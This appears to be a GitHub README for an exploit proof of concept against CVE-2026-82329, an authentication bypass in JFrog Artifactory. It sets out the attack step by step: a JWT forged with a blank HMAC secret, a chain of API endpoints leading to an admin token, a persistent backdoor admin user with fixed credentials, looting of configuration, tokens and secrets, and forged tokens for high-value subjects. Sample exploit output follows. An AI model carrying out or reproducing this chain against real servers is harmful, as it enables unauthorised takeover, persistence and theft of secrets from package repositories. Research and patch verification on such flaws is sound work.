0xterror/cve-2026-82329-jfrog-artifactory-Exploit PoC for CVE-2026-82329, an authentication bypass in JFrog Artifactory. Demonstrates forging JWT tokens to gain admin access and create a persistent backdoor user.
CVE-2026-82329 — JFrog Artifactory Auth Bypass
The Vulnerability
Critical authentication bypass in JFrog Artifactory (versions 7.111.20, 7.117.27, 7.125.19, 7.133.28, 7.146.37, 7.161.19). The flaw allows an unauthenticated attacker to forge a JWT using a blank HMAC secret (32 bytes of 0x20), mint an admin token, and create a backdoor user.
Exploit Chain
Step Action 1 Forge JWT with alg=HS256, kid=SHA256(""), skip_node_registration=true 2 Send JWT to /access/api/v1/registry/join → get SERVICE token 3 Exchange SERVICE token for ADMIN token via /access/api/v1/tokens 4 Verify admin access via /artifactory/api/system/configuration, /access/api/v1/tokens, /artifactory/api/system/version 5 Create persistent admin user via /artifactory/api/security/users/{user} 6 Loot config, tokens, users, repos, secrets 7 Forge tokens for high-value subjects
Attack Flow
BLANK_SECRET = b"\x20" * 32
↓
Forge JWT (HS256, kid=hashlib.sha256(""))
↓
POST /access/api/v1/registry/join
↓
SERVICE Token (scp=admin)
↓
POST /access/api/v1/tokens
↓
ADMIN Token (scp=applied-permissions/admin, aud=*)
↓
Prove Admin (GET /artifactory/api/system/configuration → 200)
↓
PUT /artifactory/api/security/users/0xTerror
↓
Persistent Admin User: 0xTerror:Terrorp0c!7777
↓
Loot: Config, Tokens, Users, Repos, Secrets
↓
Pivot Check: Xray, Mission Control, Distribution, etc.
↓
Forge Tokens for High-Value Subjects
PoC Output Example
[+] Step 1 /registry/join -> HTTP 201 SERVICE token (scp=admin)
[+] Step 2 /access/api/v1/tokens -> HTTP 200 ADMIN token (scp=applied-permissions/admin)
[+] Step 3 proof of admin: config=200, tokens=200, version=200
[+] Step 4 create admin user '0xTerror' -> HTTP 201
[=] VULNERABLE — unauthenticated attacker obtained ADMIN
Admin user: 0xTerror:Terrorp0c!7777